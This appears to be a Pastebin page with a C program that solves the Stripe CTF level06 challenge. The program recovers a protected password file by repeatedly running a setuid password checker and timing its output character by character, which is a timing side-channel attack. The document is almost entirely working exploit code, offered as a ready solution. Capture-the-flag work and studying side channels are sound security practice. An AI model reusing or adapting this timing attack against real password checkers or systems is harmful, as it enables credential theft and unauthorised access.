Advertisement
badeip

Stripe CTF - level06: Side channel attack

Feb 29th, 2012
338
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 6.57 KB | None | 0 0
  1. // stripe level06 side channel attack
  2. // by petter wahlman, https://twitter.com/badeip
  3.  
  4. #define _GNU_SOURCE
  5. #include <stdio.h>
  6. #include <stdlib.h>
  7. #include <errno.h>
  8. #include <stdint.h>
  9. #include <string.h>
  10. #include <unistd.h>
  11. #include <fcntl.h>
  12. #include <stdarg.h>
  13. #include <sys/stat.h>
  14. #include <sys/signal.h>
  15. #include <sys/types.h>
  16. #include <sys/time.h>
  17. #include <sys/wait.h>
  18. #include <time.h>
  19.  
  20. #define TERM_CURSOR_ON  "\33[?12l\33[?25h"
  21. #define TERM_CURSOR_OFF "\33[?25l"
  22. #define TERM_CLEAR_SOL  "\033[2K"
  23. #define TERM_CLEAR      "\33[H\33[2J"
  24.  
  25. #define PASSWORD_FILE   "/home/the-flag/.password"
  26. #define TARGET          "/levels/level06"
  27.  
  28. #define MAX_PWD         64
  29. #define SAMPLES         3 // # of times to verify a character
  30.  
  31. const char valid_chars[] = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 ";
  32. const char invalid_char = '?';
  33.  
  34. struct cidex {
  35.     uint64_t delta;
  36.     uint32_t idx;
  37. };
  38.  
  39. struct timespec diff(struct timespec start, struct timespec end)
  40. {
  41.     struct timespec temp;
  42.     if ((end.tv_nsec - start.tv_nsec) < 0) {
  43.         temp.tv_sec = end.tv_sec - start.tv_sec -1;
  44.         temp.tv_nsec = 1000000000 + end.tv_nsec-start.tv_nsec;
  45.     } else {
  46.         temp.tv_sec = end.tv_sec - start.tv_sec;
  47.         temp.tv_nsec = end.tv_nsec - start.tv_nsec;
  48.     }
  49.     return temp;
  50. }
  51.  
  52. void sigint_handler(int32_t sig)
  53. {
  54.     printf("%s\n", TERM_CURSOR_ON);
  55.     exit(0);
  56. }
  57.  
  58. int32_t main(int32_t argc, char **argv)
  59. {
  60.     char matrix[MAX_PWD][sizeof(valid_chars)];
  61.     struct timespec post[MAX_PWD];
  62.     struct timespec pre;
  63.     struct timespec tsdiff;
  64.     char password[MAX_PWD];
  65.     int32_t err[MAX_PWD];
  66.     int32_t i, idx, byte;
  67.     int32_t nullfd, samples;
  68.     int32_t pfd[2];
  69.     pid_t pid;
  70.  
  71.     if (access(TARGET, X_OK)) {
  72.         fprintf(stderr, "error, can't execute %s: %s\n", TARGET, strerror(errno));
  73.         return 1;
  74.     }
  75.  
  76.     if ((access(PASSWORD_FILE, F_OK)) && (errno != EACCES)) {
  77.         fprintf(stderr, "error, %s: %s\n", PASSWORD_FILE, strerror(errno));
  78.         return 1;
  79.     }
  80.  
  81.     signal(SIGINT, sigint_handler);
  82.     memset(matrix, 0, sizeof(matrix));
  83.     memset(password, 0, sizeof(password));
  84.     memset(post, 0, sizeof(post));
  85.     memset(err, 0, sizeof(err));
  86.     nullfd = open("/dev/null", O_WRONLY);
  87.  
  88.     printf(TERM_CLEAR);
  89.     printf(TERM_CURSOR_OFF);
  90.     int32_t win = 0;
  91.  
  92.     memset(password, invalid_char, sizeof(password)-1);
  93.     for (idx = 0; idx < MAX_PWD; idx++) {
  94.         for (samples = 0; samples < SAMPLES; samples++) {
  95.             retry:
  96.             for (byte = 0; byte < strlen(valid_chars); byte++) {
  97.                 char output[MAX_PWD];
  98.                 char *ptr;
  99.  
  100.                 password[idx] = valid_chars[byte];
  101.                 strcpy(output, password);
  102.                 ptr = strchr(output, invalid_char);
  103.                 if (ptr) (*ptr) = '\0';
  104.                 printf("\r%spassword: %s", TERM_CLEAR_SOL,output); fflush(stdout);
  105.  
  106.                 if (-1 == pipe(pfd)) {
  107.                     perror("pipe");
  108.                     sleep(1);
  109.                     goto retry;
  110.                 }
  111.  
  112.                 pid = fork();
  113.                 if (-1 == pid) {
  114.                     perror("fork");
  115.                     sleep(1);
  116.                     goto retry;
  117.                 } else if (!pid) { // child
  118.                     close(pfd[0]);
  119.                     dup2(pfd[1], STDERR_FILENO);
  120.                     dup2(nullfd, STDOUT_FILENO);
  121.  
  122.                     argv[0] = TARGET;
  123.                     argv[1] = PASSWORD_FILE;
  124.                     argv[2] = password;
  125.                     argv[3] = NULL;
  126.                     usleep(1000);
  127.                     execv(argv[0], argv);
  128.                     exit(1);
  129.                 } else {
  130.                     // parent
  131.                     char response[64];
  132.                     struct cidex high;
  133.                     uint64_t delta;
  134.                     int32_t total;
  135.                     int32_t nr;
  136.                     char c;
  137.  
  138.                     close(pfd[1]);
  139.  
  140.                     // motd:
  141.                     total = 0;
  142.                     clock_gettime(CLOCK_REALTIME, &pre);
  143.                     while(1) {
  144.                         nr = read(pfd[0], &c, sizeof(c));
  145.                         if ((nr < 1) || (c == '\n'))
  146.                             break;
  147.                         total += nr;
  148.                     }
  149.  
  150.                     if (total != strlen("Welcome to the password checker!")) {
  151.                         fprintf(stderr, "error, premature eof\n");
  152.                         return 1;
  153.                     };
  154.  
  155.                     // side channel attack:
  156.                     clock_gettime(CLOCK_REALTIME, &pre);
  157.                     total = 0;
  158.                     for (i = 0; i < sizeof(response); i++) {
  159.                         nr = read(pfd[0], &response[i], sizeof(response[i]));
  160.                         clock_gettime(CLOCK_REALTIME, &post[i]);
  161.                         if (nr < 1)
  162.                             break;
  163.                         total += nr;
  164.                     }
  165.  
  166.                     delta = 0;
  167.                     memset(&high, 0, sizeof(high));
  168.                     for (i = 0; i < strlen(password); i++) {
  169.                         tsdiff = diff(pre, post[i]);
  170.                         delta = delta ? tsdiff.tv_nsec - delta : 0;
  171.                         if (delta > (high.delta * 10)) { // an order of magnitude greater
  172.                             high.delta = delta;
  173.                             high.idx = i;
  174.                         }
  175.                         delta = tsdiff.tv_nsec;
  176.                     }
  177.  
  178.                     if (total <= (strlen(password) + 1)) {
  179.                         if (high.idx -1 > idx) {
  180.                             win = 1;
  181.                             break;
  182.                         }
  183.                     }
  184.                 } // parent
  185.                 close(pfd[0]);
  186.                 wait(NULL);
  187.             } // byte
  188.  
  189.             if (win) {
  190.                 win = 0;
  191.                 matrix[idx][byte]++;
  192.                 err[idx] = 0;
  193.                 if (matrix[idx][byte] < SAMPLES)
  194.                     goto retry;
  195.             } else {
  196.                 matrix[idx][byte] = 0;
  197.                 err[idx]++;
  198.                 if (err[idx] > 2) // fail!
  199.                     goto out; // end of password?
  200.                 if (idx)
  201.                     idx--;
  202.                 goto retry;
  203.             }
  204.             win = 0;
  205.         } // samples
  206.     } // idx
  207. out:
  208.     password[idx] = '\0';
  209.     printf("\npossible answer: %s\n", password);
  210.     printf(TERM_CURSOR_ON);
  211.  
  212.     return 0;
  213. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement